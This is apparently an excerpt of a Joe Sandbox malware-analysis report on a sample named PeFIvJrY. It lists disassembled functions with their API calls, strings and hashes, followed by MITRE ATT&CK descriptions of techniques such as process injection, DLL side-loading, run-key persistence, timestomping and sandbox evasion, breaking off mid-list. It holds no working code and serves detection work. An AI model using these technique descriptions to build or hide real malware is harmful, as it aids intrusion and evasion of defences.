Instruction ID: da10a28e3f21c782899f63defb19d8d5fde899da183c63407a36bc5460bd3c24
Opcode Fuzzy Hash: 05d941ef53d462873975e1fa981d67e689de12c7a1a14ded9787310021d8f5f4
Instruction Fuzzy Hash: DFE039B6A10709AB8300DF59D840882F7FCFE5A220341C62BEA2897B00E774B464CBA4

Function 003E85D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E85EF

Strings

0q>, xrefs: 003E85F7
@ >, xrefs: 003E85E1

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: 0q>$@ >
API String ID: 2659868963-3763285519
Opcode ID: 5019d2892725dfb811bf9fd3d90e4747bbdd62d547bdadcc542366282c2ea6ff
Instruction ID: c9b1122a1f35bd95282739bc2493be2eb6716243d9fa31891a444fee401fca84
Opcode Fuzzy Hash: 5019d2892725dfb811bf9fd3d90e4747bbdd62d547bdadcc542366282c2ea6ff
Instruction Fuzzy Hash: 89E0C9B6A10715AB8700DF59D841882F7FCFE59220355C62BE62997B00E774B5648BA4

Function 004269EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003EF030: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,00459524), ref: 003EF035
Part of subcall function 003EF030: GetLastError.KERNEL32(?,00000000,00000000,?,00459524), ref: 003EF03F

IsDebuggerPresent.KERNEL32(?,?,?,003E1FC9), ref: 00426A1E
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,003E1FC9), ref: 00426A2D

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00426A28

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 65f33f26a6db08d99b2c6fe6bb1994bdc53e25431f4c44bc6679d25eff84ddc0
Instruction ID: 883e57b26eabf31d68a45ce296dce20434e75f24fa0b86e3e4f431959c77e0b0
Opcode Fuzzy Hash: 65f33f26a6db08d99b2c6fe6bb1994bdc53e25431f4c44bc6679d25eff84ddc0
Instruction Fuzzy Hash: 66E06D742013608FE3319F69F504302BBE4AF05748F40892EE582D6250EBB8E5948BA5

Function 004205A0 Relevance: 5.3, APIs: 4, Instructions: 270COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?), ref: 00420653
GetLastError.KERNEL32(?), ref: 0042065F
LocalFree.KERNEL32(?,?), ref: 004208A6
LocalFree.KERNEL32(00000000), ref: 004208DC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLocal$ErrorLast
String ID:
API String ID: 4216857709-0
Opcode ID: fa539d1f5cd324f904f95c12804c2b7d48a804ee4c81017b8535fd93bedec44f
Instruction ID: 0d287ce7217dc1159d2a50744cc41786edbb1b1b40467c61cf42e74c9c36ee79
Opcode Fuzzy Hash: fa539d1f5cd324f904f95c12804c2b7d48a804ee4c81017b8535fd93bedec44f
Instruction Fuzzy Hash: 29B1AA70E003589FEB10DFA5D844BAEBBF0AF49304F54405EE805AB392DB79AD44CB99

Function 003E20F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E210E

Strings

@ >, xrefs: 003E20FD
@ >, xrefs: 003E2116

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: @ >$@ >
API String ID: 2659868963-3421840758
Opcode ID: 45ab66b51f53d26006f39ee78bc52e79836726de6e1ff3c14cc9799c366a7585
Instruction ID: 4456deb5c31d52426f7c40a86eef2a97722c946152a24af6b6488e42313a9da1
Opcode Fuzzy Hash: 45ab66b51f53d26006f39ee78bc52e79836726de6e1ff3c14cc9799c366a7585
Instruction Fuzzy Hash: 85D0C27292031457D2009F98EC00882B7EC9E16214341C62BF744E7200F774A49043A8

Function 003E8620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E863E

Strings

@ >, xrefs: 003E8646
@ >, xrefs: 003E862D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: @ >$@ >
API String ID: 2659868963-3421840758
Opcode ID: 8546db6b54f7b65daf4397cd024479c76794b616364b5fade9bb64b279734381
Instruction ID: e36e2aa74de4d35524dde683f726677c6e3b9b714e9be7c69f7355190b312239
Opcode Fuzzy Hash: 8546db6b54f7b65daf4397cd024479c76794b616364b5fade9bb64b279734381
Instruction Fuzzy Hash: 41D0C27292031457C600DF98DC00882B7ECDE15654300C52BF244E7200F774E4908BA8

Function 00400AB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00400ACE

Strings

@ >, xrefs: 00400ABD
@ >, xrefs: 00400AD6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: @ >$@ >
API String ID: 2659868963-3421840758
Opcode ID: 655726da94c4d8270a65e7ed0ab5ef38903b8572c309a74b62f89cd14c1bd5fb
Instruction ID: 411f450d1d9332060aeab2ac8929895ccb771d65fef5f2377f051ae9d1907be2
Opcode Fuzzy Hash: 655726da94c4d8270a65e7ed0ab5ef38903b8572c309a74b62f89cd14c1bd5fb
Instruction Fuzzy Hash: 5BD0C7B2A203185BC600AF99EC40982B7EC9E1A354304C22BF244E7200F7B4E89087A8

Function 003E6E30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E6E4E

Strings

@ >, xrefs: 003E6E56
@ >, xrefs: 003E6E3D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: @ >$@ >
API String ID: 2659868963-3421840758
Opcode ID: 88f7a87d2698ab7bcb35b391f0ee55fac310e15a4db82439607f70f1dd3a99ea
Instruction ID: 44927ec5f728db342b9b739ebffb1759ac43ee2102e94046d342731ebefc64c9
Opcode Fuzzy Hash: 88f7a87d2698ab7bcb35b391f0ee55fac310e15a4db82439607f70f1dd3a99ea
Instruction Fuzzy Hash: A6D0C27292031457C2109F98DC00882B7ECDE16254340C52BF644E7200F774E8A047E8

Function 00408840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 0040884B
GetLastError.KERNEL32 ref: 00408855

Strings

ntdll.dll, xrefs: 00408846

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: ntdll.dll
API String ID: 4242514867-2227199552
Opcode ID: 36aba62ce95fc604c19e062d8ad298f6fc6990d57f78acf7fe0b79ec32909e4b
Instruction ID: 063a34c65c2bcc900477c2604e5754f2802607d79655bad9e81b9a3e01d15dcc
Opcode Fuzzy Hash: 36aba62ce95fc604c19e062d8ad298f6fc6990d57f78acf7fe0b79ec32909e4b
Instruction Fuzzy Hash: FDD0A726B552080389103BB63C4B62533188602615F0407BDED5C913C1FD36843082CF

Function 0041FF30 Relevance: 5.3, APIs: 4, Instructions: 256COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?), ref: 0041FFE3
GetLastError.KERNEL32(?), ref: 0041FFEF
LocalFree.KERNEL32(?,?), ref: 00420208
LocalFree.KERNEL32(00000000), ref: 0042023E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLocal$ErrorLast
String ID:
API String ID: 4216857709-0
Opcode ID: a11ec400a907a9f4136231dba04edd9796b3098bd08b2c25c50d051bd195dce6
Instruction ID: 977ef9ae6c92403bda78f69477bcbb262c8bb68f59bbedeed1c7d49d5dd57e07
Opcode Fuzzy Hash: a11ec400a907a9f4136231dba04edd9796b3098bd08b2c25c50d051bd195dce6
Instruction Fuzzy Hash: E1B1CE70E00358CFEB14CFA4D844BAEBBF1AF05300F54405AE855AB392D779AD44CB59

Function 00420250 Relevance: 5.1, APIs: 4, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0042028E
LocalAlloc.KERNEL32(00000000,00000000), ref: 004202BF
GetLastError.KERNEL32 ref: 00420300
LocalFree.KERNEL32(00000000), ref: 0042031B

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLastLocal$AllocFree
String ID:
API String ID: 1353762364-0
Opcode ID: ffc37a13f114d6a482e4bca438f2c1c9ed3b9cf4aa91c70be571bcb0772160de
Instruction ID: 1e0d0bf768c8be35cf022dc7155aca562c132499e7837adbd78c3d34f8d84f13
Opcode Fuzzy Hash: ffc37a13f114d6a482e4bca438f2c1c9ed3b9cf4aa91c70be571bcb0772160de
Instruction Fuzzy Hash: DB3193B5B05205ABD3108F5DEC49745FBE4FB55711F1082BAED04C3380E7B5A9248BE6

Function 003E56A0 Relevance: 5.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000), ref: 003E56AA
CloseHandle.KERNEL32 ref: 003E56B3
SetLastError.KERNEL32(00000000), ref: 003E56BE
CloseHandle.KERNEL32(00000000), ref: 003E56EA

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 5c66c753406c726f844e326796efb3558a63a51be74e6fdff268ad6f7e85b3a0
Instruction ID: 29d8804e4844a0c26542ffa800dce87207aaa97b4baea3351110afd051f2d0ff
Opcode Fuzzy Hash: 5c66c753406c726f844e326796efb3558a63a51be74e6fdff268ad6f7e85b3a0
Instruction Fuzzy Hash: 52F0243120421897CB206F6EBC08A66339DAB86322B000228BE09C32D1DE30DD00C5B8

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
